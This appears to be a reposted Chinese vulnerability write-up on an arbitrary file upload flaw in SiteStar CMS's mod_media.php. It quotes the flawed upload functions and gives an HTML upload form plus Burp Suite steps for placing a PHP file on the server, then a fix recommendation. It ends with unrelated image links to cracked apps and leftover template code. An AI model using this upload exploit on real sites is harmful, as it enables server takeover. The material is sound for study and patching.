#1 漏洞产生
/module/mod_media.php
flash_picker() 和 image_picker() 两个函数
image_picker() 函数
$typeArr = array('image/jpeg','image/pjpeg');
$flash_typeArr = array('image/jpeg','image/pjpeg');
$file_info =& ParamHolder::get('localfile', array(), PS_FILES);
$file_info['name'] = Toolkit::changeFileNameChineseToPinyin($file_info['name']);
if ( sizeof($file_info) > 0 && isset($file_info['name']) )
{
// 文件大小
if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {
$err = __('Upload size limit').':2M';
// 文件类型
} elseif ( !in_array( $file_info['type'], $typeArr ) ) {
$err = __('Supported file format').':jpg';
}else {
$dest = ROOT.'/upload/image/';
//$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
if (preg_match("/^WIN/i", PHP_OS) && preg_match("/[\x80-\xff]./", $file_info['name'])) {
$file_info['name'] = iconv("UTF-8", "GBK//IGNORE", $file_info['name']);
}
if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {
ParamParser::fire_virus($dest.$file_info['name']);
$wincls = 'OK';
// 图片水印
if( WATERMARK_STATUS ) $this->img_restruck($file_info['name']);
$this->assign('fname', $file_info['name']);
} else { $err = __('Uploading file failed!'); }
}
}
flash_picker()函数
$typeArr = array('application/x-shockwave-flash','application/x-download');
$file_info =& ParamHolder::get('localfile', array(), PS_FILES);
if ( sizeof($file_info) > 0 && isset($file_info['name']) )
{
// 文件大小
if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {
$err = '上传大小限制:2M';
// 文件类型
} elseif ( !in_array( $file_info['type'], $typeArr ) ) {
//$err = '支持的文件类型:swf|flv';
$err = '支持的文件类型:swf';
} else {
$dest = ROOT.'/upload/flash/';
$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {
ParamParser::fire_virus($dest.$file_info['name']);
$wincls = 'OK';
$this->assign('fname', $file_info['name']);
} else { $err = '上传失败'; }
}
}
看见了吧 两个函数都只检查了Content-Type参数
你们难道不知道Content-Type参数可以被完全控制吗?
鉴于这两个文件上传比较简单 就不多说了...
#2 漏洞利用
将如下代码保存为upload.htm
<form enctype="multipart/form-data" method="post" action="http://www.vulns.org/sitestar/index.php?_m=mod_media&_a=flash_picker">
Flash:<input type="file" name="localfile"/>
<input id="Upload" type="submit" value="Upload">
</form>
访问upload.php并上传文件,上传的时候用Burpsuite 抓包 并修改

点击Forward即可在 /upload/flash 下面生成php文件

修复方案:
强烈建议采用统一的上传代码;
对文件进行安全检查时,千万别只检查文件上传的Content-Type参数,这个参数只要抓包就可以对其进行任意修改。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;

![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)